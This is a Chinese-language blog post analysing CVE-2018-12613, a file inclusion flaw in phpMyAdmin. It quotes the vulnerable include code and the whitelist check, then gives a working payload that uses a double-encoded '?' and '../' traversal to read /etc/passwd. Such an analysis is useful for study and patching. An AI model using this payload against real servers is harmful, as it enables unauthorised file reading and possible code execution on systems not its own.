Yk2eR0's Blog.

CVE-2018-12613 phpadmin文件包含漏洞

字数统计: 653阅读时长: 2 min
2019/11/01 Share

网址:

https://www.phpmyadmin.net/security/PMASA-2018-4/

摘要

文件包含和远程执行代码攻击

描述

发现了一个漏洞,攻击者可以在该漏洞中包含(查看并可能执行)服务器上的文件。
该漏洞来自代码的一部分,其中页面在phpMyAdmin中重定向和加载,以及对白名单页面的不正确测试。
除以下情况外,必须对攻击者进行身份验证:

  • $ cfg [‘AllowArbitraryServer’] = true:攻击者可以指定他/她已控制的任何主机,并在phpMyAdmin上执行任意代码
  • $ cfg [‘ServerDefault’] = 0:这绕过登录并运行易受攻击的代码,而无需任何身份验证

    漏洞分析

    mb_strpos的解读

    查找字符串在另一个字符串中首次出现的位置
1
2
3
4
5
6
7
8
// If we have a valid target, let's load that script instead
if (! empty($_REQUEST['target'])//传入的target不能为空
&& is_string($_REQUEST['target'])//target传入的是字符串
&& ! preg_match('/^index/', $_REQUEST['target'])//不能以index开头
&& ! in_array($_REQUEST['target'], $target_blacklist)//target传入参数不能再黑名单数组中
&& Core::checkPageValidity($_REQUEST['target'])) {//经过checkPageValidity检查为真
include $_REQUEST['target'];
exit;}
  • 其中blacklist:
    1
    2
    $target_blacklist = array (
    'import.php', 'export.php');

不要让target等于这两个值就可以

  • Core::checkPageValidity($_REQUEST[‘target’]):
    代码在libraries\classes\Core.php的443~476:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
public static function checkPageValidity(&$page, array $whitelist = [])
{
if (empty($whitelist)) {
$whitelist = self::$goto_whitelist;//如果$whitelist为空就引用静态声明的goto_whitelist
}
if (! isset($page) || !is_string($page)) {
return false;//如果$page没有被定义过或者$page不为字符串则return false

}

if (in_array($page, $whitelist)) {
return true;//如果$page在白名单里就return true
}

$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')//$_page='?'前的$page
);

if (in_array($_page, $whitelist)) {
return true;//$_page存在$whitelist中的某个值则返回true

}

$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);//解码后$_page='解码后?'前的$page
if (in_array($_page, $whitelist)) {
return true;
}

return false;
}
  • 验证白名单(goto_whitelist):
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
public static $goto_whitelist = array(
'db_datadict.php',
'db_sql.php',
'db_events.php',
'db_export.php',
'db_importdocsql.php',
'db_multi_table_query.php',
'db_structure.php',
'db_import.php',
'db_operations.php',
'db_search.php',
'db_routines.php',
'export.php',
'import.php',
'index.php',
'pdf_pages.php',
'pdf_schema.php',
'server_binlog.php',
'server_collations.php',
'server_databases.php',
'server_engines.php',
'server_export.php',
'server_import.php',
'server_privileges.php',
'server_sql.php',
'server_status.php',
'server_status_advisor.php',
'server_status_monitor.php',
'server_status_queries.php',
'server_status_variables.php',
'server_variables.php',
'sql.php',
'tbl_addfield.php',
'tbl_change.php',
'tbl_create.php',
'tbl_import.php',
'tbl_indexes.php',
'tbl_sql.php',
'tbl_export.php',
'tbl_operations.php',
'tbl_structure.php',
'tbl_relation.php',
'tbl_replace.php',
'tbl_row_action.php',
'tbl_select.php',
'tbl_zoom_select.php',
'transformation_overview.php',
'transformation_wrapper.php',
'user_password.php',
);

故可以构造target=db_datadict.php%253f/../../../../../../../../etc/passwd(%253f可换为%3f,区别在在第几个判断中return true)来满足所有判断条件,并进行文件读取

  • %253f两次url解码后为?,此时$_page为db_datadict.php,在白名单中.
  • 此时将db_datadict.php看作一个目录,所以要多加一个../回到上一级目录.

原文作者:Yk2eR0

原文链接:https://www.yk2er0.fun/2019/11/01/CVE-2018-12613/

发表日期:十一月 1日 2019, 12:17:59 凌晨

更新日期:November 1st 2019, 12:33:41 am

版权声明:非商业用允许转载

CATALOG
  1. 1. 摘要
  2. 2. 描述
  3. 3. 漏洞分析
    1. 3.1. mb_strpos的解读